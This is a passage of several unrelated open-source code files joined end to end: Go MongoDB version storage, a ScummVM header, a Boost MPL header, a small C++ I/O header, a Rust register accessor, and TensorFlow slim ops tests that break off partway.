appVersionsCollectionName) span.SetQueryStatement(query) defer span.Finish() coll, err := s.collection() if err != nil { span.SetError(err) return nil, err } defer coll.Close() _, err = coll.Upsert(query, bson.M{ "$set": bson.M{ "count": appVersionInfo.Version, "updatedat": time.Now().UTC(), "updatedhash": uuidV4.String(), fmt.Sprintf("versions.%d", appVersionInfo.Version): appVersionInfo, }, }) if err != nil { span.SetError(err) return nil, err } return &appVersionInfo, nil } func (s *appVersionStorage) DeleteVersions(ctx context.Context, appName string, opts ...*appTypes.AppVersionWriteOptions) error { where := bson.M{"appname": appName} // when receive a PreviousUpdatedHash will perform a optimistic delete if len(opts) > 0 && opts[0].PreviousUpdatedHash != "" { where["updatedhash"] = opts[0].PreviousUpdatedHash } uuidV4, err := uuid.NewV4() if err != nil { return errors.WithMessage(err, "failed to generate uuid v4") } err = s.baseUpdate(ctx, appName, bson.M{ "$set": bson.M{ "versions": map[int]appTypes.AppVersionInfo{}, "updatedhash": uuidV4.String(), "markedtoremoval": false, }, }, opts...) if err == appTypes.ErrNoVersionsAvailable { return nil } return err } func (s *appVersionStorage) AllAppVersions(ctx context.Context) ([]appTypes.AppVersions, error) { span := newMongoDBSpan(ctx, mongoSpanFind, appVersionsCollectionName) defer span.Finish() coll, err := s.collection() if err != nil { span.SetError(err) return nil, err } defer coll.Close() var allAppVersions []appTypes.AppVersions err = coll.Find(nil).All(&allAppVersions) if err != nil { span.SetError(err) return nil, err } return allAppVersions, nil } func (s *appVersionStorage) AppVersions(ctx context.Context, app appTypes.App) (appTypes.AppVersions, error) { query := bson.M{"appname": app.GetName()} span := newMongoDBSpan(ctx, mongoSpanFind, appVersionsCollectionName) span.SetQueryStatement(query) defer span.Finish() coll, err := s.collection() if err != nil { span.SetError(err) return appTypes.AppVersions{}, err } defer coll.Close() var appVersions appTypes.AppVersions err = coll.Find(query).One(&appVersions) if err == mgo.ErrNotFound { err = s.importLegacyVersions(app) if err == nil { err = coll.Find(query).One(&appVersions) } } if err == mgo.ErrNotFound { return appVersions, appTypes.ErrNoVersionsAvailable } span.SetError(err) return appVersions, err } func (s *appVersionStorage) DeleteVersionIDs(ctx context.Context, appName string, versions []int, opts ...*appTypes.AppVersionWriteOptions) error { uuidV4, err := uuid.NewV4() if err != nil { return errors.WithMessage(err, "failed to generate uuid v4") } unset := bson.M{} for _, version := range versions { unset[fmt.Sprintf("versions.%d", version)] = "" } return s.baseUpdate(ctx, appName, bson.M{ "$unset": unset, "$set": bson.M{ "updatedat": time.Now().UTC(), "updatedhash": uuidV4.String(), }, }, opts...) } func (s *appVersionStorage) MarkToRemoval(ctx context.Context, appName string, opts ...*appTypes.AppVersionWriteOptions) error { uuidV4, err := uuid.NewV4() if err != nil { return errors.WithMessage(err, "failed to generate uuid v4") } update := bson.M{ "$set": bson.M{ "markedtoremoval": true, "updatedat": time.Now().UTC(), "updatedhash": uuidV4.String(), }, } return s.baseUpdate(ctx, appName, update) } func (s *appVersionStorage) MarkVersionsToRemoval(ctx context.Context, appName string, versions []int, opts ...*appTypes.AppVersionWriteOptions) error { now := time.Now().UTC() uuidV4, err := uuid.NewV4() if err != nil { return errors.WithMessage(err, "failed to generate uuid v4") } where := bson.M{ "appname": appName, } // when receive a PreviousUpdatedHash will perform a optimistic delete if len(opts) > 0 && opts[0].PreviousUpdatedHash != "" { where["updatedhash"] = opts[0].PreviousUpdatedHash } set := bson.M{ "updatedat": now, "updatedhash": uuidV4.String(), } for _, version := range versions { versionKey := fmt.Sprintf("versions.%d", version) where[versionKey] = bson.M{"$exists": true} set[versionKey+".markedtoremoval"] = true set[versionKey+".updatedat"] = now } update := bson.M{"$set": set} return s.baseUpdateWhere(ctx, where, update) } func (s *appVersionStorage) importLegacyVersions(app appTypes.App) error { imgData, err := s.legacyImagesData(app.GetName()) if err != nil { return err } customDataColl, err := s.legacyCustomDataCollection() if err != nil { return err } defer customDataColl.Close() now := time.Now().UTC() versions := map[int]appTypes.AppVersionInfo{} var lastSuccessfulVersion int for _, imageID := range imgData.Images { var version int version, err = versionNumberFromLegacyImage(imageID) if err != nil { return err } var data legacyImageMetadata err = customDataColl.FindId(imageID).One(&data) if err != nil { if err == mgo.ErrNotFound { continue } return err } if len(data.Processes) == 0 { data.Processes = make(map[string][]string, len(data.LegacyProcesses)) for k, v := range data.LegacyProcesses { data.Processes[k] = []string{v} } } vi := appTypes.AppVersionInfo{ Version: version, DeployImage: imageID, Processes: data.Processes, ExposedPorts: data.ExposedPorts, CustomData: data.CustomData, Disabled: data.DisableRollback, DisabledReason: data.Reason, DeploySuccessful: true, CreatedAt: now, UpdatedAt: now, } repo, tag := image.SplitImageName(vi.DeployImage) vi.BuildImage = fmt.Sprintf("%s:%s-builder", repo, tag) versions[version] = vi lastSuccessfulVersion = version } buildImgs, err := s.legacyBuildImages(app.GetName()) if err != nil && err != mgo.ErrNotFound { return err } for _, imageID := range buildImgs { if strings.HasSuffix(imageID, "-builder") { continue } _, tag := image.SplitImageName(imageID) imgData.Count++ version := imgData.Count vi := appTypes.AppVersionInfo{ Version: version, BuildImage: imageID, CustomBuildTag: tag, CreatedAt: now, UpdatedAt: now, } versions[version] = vi } coll, err := s.collection() if err != nil { return err } defer coll.Close() return coll.Insert(appTypes.AppVersions{ AppName: app.GetName(), Count: imgData.Count, Versions: versions, LastSuccessfulVersion: lastSuccessfulVersion, }) } func versionNumberFromLegacyImage(imageID string) (int, error) { _, tag := image.SplitImageName(imageID) return strconv.Atoi(strings.TrimPrefix(tag, "v")) }
{ "pile_set_name": "Github" }
/* ScummVM - Graphic Adventure Engine * * ScummVM is the legal property of its developers, whose names * are too numerous to list here. Please refer to the COPYRIGHT * file distributed with this source distribution. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ #ifndef SHERLOCK_SETTINGS_H #define SHERLOCK_SETTINGS_H #include "common/scummsys.h" namespace Sherlock { class SherlockEngine; namespace Scalpel { class Settings { private: SherlockEngine *_vm; Settings(SherlockEngine *vm) : _vm(vm) { _hotkeyExit = 0; _hotkeyMusic = 0; _hotkeyPortraits = 0; _hotkeyNewFontStyle = 0; _hotkeySoundEffects = 0; _hotkeyWindows = 0; _hotkeyAutoHelp = 0; _hotkeyVoices = 0; _hotkeyFade = 0; memset(_hotkeysIndexed, 0, sizeof(_hotkeysIndexed)); } byte _hotkeyExit; byte _hotkeyMusic; byte _hotkeyPortraits; byte _hotkeyNewFontStyle; byte _hotkeySoundEffects; byte _hotkeyWindows; byte _hotkeyAutoHelp; byte _hotkeyVoices; byte _hotkeyFade; byte _hotkeysIndexed[12]; /** * Draws the interface for the settings window */ void drawInterface(bool flag); /** * Draws the buttons for the settings dialog */ int drawButtons(const Common::Point &pt, int key); public: /** * Handles input when the settings window is being shown * @remarks Whilst this would in theory be better in the Journal class, since it displays in * the user interface, it uses so many internal UI fields, that it sort of made some sense * to put it in the UserInterface class. */ static void show(SherlockEngine *vm); }; } // End of namespace Scalpel } // End of namespace Sherlock #endif
{ "pile_set_name": "Github" }
// Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // *Preprocessed* version of the main "list_c.hpp" header // -- DO NOT modify by hand! namespace boost { namespace mpl { template< typename T, long C0 = LONG_MAX, long C1 = LONG_MAX, long C2 = LONG_MAX , long C3 = LONG_MAX, long C4 = LONG_MAX, long C5 = LONG_MAX , long C6 = LONG_MAX, long C7 = LONG_MAX, long C8 = LONG_MAX , long C9 = LONG_MAX, long C10 = LONG_MAX, long C11 = LONG_MAX , long C12 = LONG_MAX, long C13 = LONG_MAX, long C14 = LONG_MAX , long C15 = LONG_MAX, long C16 = LONG_MAX, long C17 = LONG_MAX , long C18 = LONG_MAX, long C19 = LONG_MAX > struct list_c; template< typename T > struct list_c< T, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list0_c<T> { typedef typename list0_c<T>::type type; }; template< typename T, long C0 > struct list_c< T, C0, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list1_c< T,C0 > { typedef typename list1_c< T,C0 >::type type; }; template< typename T, long C0, long C1 > struct list_c< T, C0, C1, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list2_c< T,C0,C1 > { typedef typename list2_c< T,C0,C1 >::type type; }; template< typename T, long C0, long C1, long C2 > struct list_c< T, C0, C1, C2, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list3_c< T,C0,C1,C2 > { typedef typename list3_c< T,C0,C1,C2 >::type type; }; template< typename T, long C0, long C1, long C2, long C3 > struct list_c< T, C0, C1, C2, C3, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list4_c< T,C0,C1,C2,C3 > { typedef typename list4_c< T,C0,C1,C2,C3 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4 > struct list_c< T, C0, C1, C2, C3, C4, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list5_c< T,C0,C1,C2,C3,C4 > { typedef typename list5_c< T,C0,C1,C2,C3,C4 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 > struct list_c< T, C0, C1, C2, C3, C4, C5, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX > : list6_c< T,C0,C1,C2,C3,C4,C5 > { typedef typename list6_c< T,C0,C1,C2,C3,C4,C5 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX > : list7_c< T,C0,C1,C2,C3,C4,C5,C6 > { typedef typename list7_c< T,C0,C1,C2,C3,C4,C5,C6 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX > : list8_c< T,C0,C1,C2,C3,C4,C5,C6,C7 > { typedef typename list8_c< T,C0,C1,C2,C3,C4,C5,C6,C7 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX > : list9_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8 > { typedef typename list9_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX , LONG_MAX > : list10_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9 > { typedef typename list10_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, LONG_MAX, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list11_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10 > { typedef typename list11_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list12_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11 > { typedef typename list12_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, LONG_MAX , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list13_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12 > { typedef typename list13_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13 , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list14_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13 > { typedef typename list14_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list15_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 > { typedef typename list15_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14, long C15 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, LONG_MAX, LONG_MAX, LONG_MAX, LONG_MAX > : list16_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15 > { typedef typename list16_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14, long C15, long C16 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, LONG_MAX, LONG_MAX, LONG_MAX > : list17_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16 > { typedef typename list17_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15,C16 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14, long C15, long C16, long C17 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, C17, LONG_MAX, LONG_MAX > : list18_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, C17 > { typedef typename list18_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15,C16,C17 >::type type; }; template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14, long C15, long C16, long C17, long C18 > struct list_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, C17, C18, LONG_MAX > : list19_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, C17, C18 > { typedef typename list19_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15,C16,C17,C18 >::type type; }; /// primary template (not a specialization!) template< typename T, long C0, long C1, long C2, long C3, long C4, long C5 , long C6, long C7, long C8, long C9, long C10, long C11, long C12 , long C13, long C14, long C15, long C16, long C17, long C18, long C19 > struct list_c : list20_c< T, C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10, C11, C12, C13, C14 , C15, C16, C17, C18, C19 > { typedef typename list20_c< T,C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15,C16,C17,C18,C19 >::type type; }; }}
{ "pile_set_name": "Github" }
/** @file * * @par History */ #ifndef CLIB_IOHELP_H #define CLIB_IOHELP_H #include <fstream> #include <string> namespace Pol { namespace Clib { void open_file( std::fstream& ofs, std::string& filename, std::ios::openmode mode ); void open_file( std::ofstream& ofs, std::string& filename, std::ios::openmode mode ); void open_file( std::ifstream& ofs, std::string& filename, std::ios::openmode mode ); } } #endif
{ "pile_set_name": "Github" }
#[doc = "Reader of register DESCADD"] pub type R = crate::R<u32, super::DESCADD>; #[doc = "Writer for register DESCADD"] pub type W = crate::W<u32, super::DESCADD>; #[doc = "Register DESCADD `reset()`'s with value 0"] impl crate::ResetValue for super::DESCADD { type Type = u32; #[inline(always)] fn reset_value() -> Self::Type { 0 } } #[doc = "Reader of field `DESCADD`"] pub type DESCADD_R = crate::R<u32, u32>; #[doc = "Write proxy for field `DESCADD`"] pub struct DESCADD_W<'a> { w: &'a mut W, } impl<'a> DESCADD_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u32) -> &'a mut W { self.w.bits = (self.w.bits & !0xffff_ffff) | ((value as u32) & 0xffff_ffff); self.w } } impl R { #[doc = "Bits 0:31 - Descriptor Address Value"] #[inline(always)] pub fn descadd(&self) -> DESCADD_R { DESCADD_R::new((self.bits & 0xffff_ffff) as u32) } } impl W { #[doc = "Bits 0:31 - Descriptor Address Value"] #[inline(always)] pub fn descadd(&mut self) -> DESCADD_W { DESCADD_W { w: self } } }
{ "pile_set_name": "Github" }
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for slim.ops.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from inception.slim import ops from inception.slim import scopes from inception.slim import variables class ConvTest(tf.test.TestCase): def testCreateConv(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 3]) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 32]) def testCreateSquareConv(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, 3) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 32]) def testCreateConvWithTensorShape(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, images.get_shape()[1:3]) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 32]) def testCreateFullyConv(self): height, width = 6, 6 with self.test_session(): images = tf.random_uniform((5, height, width, 32), seed=1) output = ops.conv2d(images, 64, images.get_shape()[1:3], padding='VALID') self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 64]) def testCreateVerticalConv(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 1]) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 32]) def testCreateHorizontalConv(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [1, 3]) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height, width, 32]) def testCreateConvWithStride(self): height, width = 6, 6 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 3], stride=2) self.assertEquals(output.op.name, 'Conv/Relu') self.assertListEqual(output.get_shape().as_list(), [5, height/2, width/2, 32]) def testCreateConvCreatesWeightsAndBiasesVars(self): height, width = 3, 3 images = tf.random_uniform((5, height, width, 3), seed=1) with self.test_session(): self.assertFalse(variables.get_variables('conv1/weights')) self.assertFalse(variables.get_variables('conv1/biases')) ops.conv2d(images, 32, [3, 3], scope='conv1') self.assertTrue(variables.get_variables('conv1/weights')) self.assertTrue(variables.get_variables('conv1/biases')) def testCreateConvWithScope(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 3], scope='conv1') self.assertEquals(output.op.name, 'conv1/Relu') def testCreateConvWithoutActivation(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 3], activation=None) self.assertEquals(output.op.name, 'Conv/BiasAdd') def testCreateConvValid(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) output = ops.conv2d(images, 32, [3, 3], padding='VALID') self.assertListEqual(output.get_shape().as_list(), [5, 1, 1, 32]) def testCreateConvWithWD(self): height, width = 3, 3 with self.test_session() as sess: images = tf.random_uniform((5, height, width, 3), seed=1) ops.conv2d(images, 32, [3, 3], weight_decay=0.01) wd = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)[0] self.assertEquals(wd.op.name, 'Conv/weights/Regularizer/L2Regularizer/value') sess.run(tf.global_variables_initializer()) self.assertTrue(sess.run(wd) <= 0.01) def testCreateConvWithoutWD(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.conv2d(images, 32, [3, 3], weight_decay=0) self.assertEquals( tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES), []) def testReuseVars(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.conv2d(images, 32, [3, 3], scope='conv1') self.assertEquals(len(variables.get_variables()), 2) ops.conv2d(images, 32, [3, 3], scope='conv1', reuse=True) self.assertEquals(len(variables.get_variables()), 2) def testNonReuseVars(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.conv2d(images, 32, [3, 3]) self.assertEquals(len(variables.get_variables()), 2) ops.conv2d(images, 32, [3, 3]) self.assertEquals(len(variables.get_variables()), 4) def testReuseConvWithWD(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 3), seed=1) ops.conv2d(images, 32, [3, 3], weight_decay=0.01, scope='conv1') self.assertEquals(len(variables.get_variables()), 2) self.assertEquals( len(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)), 1) ops.conv2d(images, 32, [3, 3], weight_decay=0.01, scope='conv1', reuse=True) self.assertEquals(len(variables.get_variables()), 2) self.assertEquals( len(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)), 1) def testConvWithBatchNorm(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 32), seed=1) with scopes.arg_scope([ops.conv2d], batch_norm_params={'decay': 0.9}): net = ops.conv2d(images, 32, [3, 3]) net = ops.conv2d(net, 32, [3, 3]) self.assertEquals(len(variables.get_variables()), 8) self.assertEquals(len(variables.get_variables('Conv/BatchNorm')), 3) self.assertEquals(len(variables.get_variables('Conv_1/BatchNorm')), 3) def testReuseConvWithBatchNorm(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height, width, 32), seed=1) with scopes.arg_scope([ops.conv2d], batch_norm_params={'decay': 0.9}): net = ops.conv2d(images, 32, [3, 3], scope='Conv') net = ops.conv2d(net, 32, [3, 3], scope='Conv', reuse=True) self.assertEquals(len(variables.get_variables()), 4) self.assertEquals(len(variables.get_variables('Conv/BatchNorm')), 3) self.assertEquals(len(variables.get_variables('Conv_1/BatchNorm')), 0) class FCTest(tf.test.TestCase): def testCreateFC(self): height, width = 3, 3 with self.test_session(): inputs = tf.random_uniform((5, height * width * 3), seed=1) output = ops.fc(inputs, 32) self.assertEquals(output.op.name, 'FC/Relu') self.assertListEqual(output.get_shape().as_list(), [5, 32]) def testCreateFCWithScope(self): height, width = 3, 3 with self.test_session(): inputs = tf.random_uniform((5, height * width * 3), seed=1) output = ops.fc(inputs, 32, scope='fc1') self.assertEquals(output.op.name, 'fc1/Relu') def testCreateFcCreatesWeightsAndBiasesVars(self): height, width = 3, 3 inputs = tf.random_uniform((5, height * width * 3), seed=1) with self.test_session(): self.assertFalse(variables.get_variables('fc1/weights')) self.assertFalse(variables.get_variables('fc1/biases')) ops.fc(inputs, 32, scope='fc1') self.assertTrue(variables.get_variables('fc1/weights')) self.assertTrue(variables.get_variables('fc1/biases')) def testReuseVars(self): height, width = 3, 3 inputs = tf.random_uniform((5, height * width * 3), seed=1) with self.test_session(): ops.fc(inputs, 32, scope='fc1') self.assertEquals(len(variables.get_variables('fc1')), 2) ops.fc(inputs, 32, scope='fc1', reuse=True) self.assertEquals(len(variables.get_variables('fc1')), 2) def testNonReuseVars(self): height, width = 3, 3 inputs = tf.random_uniform((5, height * width * 3), seed=1) with self.test_session(): ops.fc(inputs, 32) self.assertEquals(len(variables.get_variables('FC')), 2) ops.fc(inputs, 32) self.assertEquals(len(variables.get_variables('FC')), 4) def testCreateFCWithoutActivation(self): height, width = 3, 3 with self.test_session(): inputs = tf.random_uniform((5, height * width * 3), seed=1) output = ops.fc(inputs, 32, activation=None) self.assertEquals(output.op.name, 'FC/xw_plus_b') def testCreateFCWithWD(self): height, width = 3, 3 with self.test_session() as sess: inputs = tf.random_uniform((5, height * width * 3), seed=1) ops.fc(inputs, 32, weight_decay=0.01) wd = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)[0] self.assertEquals(wd.op.name, 'FC/weights/Regularizer/L2Regularizer/value') sess.run(tf.global_variables_initializer()) self.assertTrue(sess.run(wd) <= 0.01) def testCreateFCWithoutWD(self): height, width = 3, 3 with self.test_session(): inputs = tf.random_uniform((5, height * width * 3), seed=1) ops.fc(inputs, 32, weight_decay=0) self.assertEquals( tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES), []) def testReuseFCWithWD(self): height, width = 3, 3 with self.test_session(): inputs = tf.random_uniform((5, height * width * 3), seed=1) ops.fc(inputs, 32, weight_decay=0.01, scope='fc') self.assertEquals(len(variables.get_variables()), 2) self.assertEquals( len(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)), 1) ops.fc(inputs, 32, weight_decay=0.01, scope='fc', reuse=True) self.assertEquals(len(variables.get_variables()), 2) self.assertEquals( len(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)), 1) def testFCWithBatchNorm(self): height, width = 3, 3 with self.test_session(): images = tf.random_uniform((5, height * width * 3), seed=1) with scopes.arg_scope([ops.fc], batch_norm_params={}): net = ops.fc(images, 27) net = ops.fc(net, 27) self.assertEquals(len(variables.get_variables()), 8) 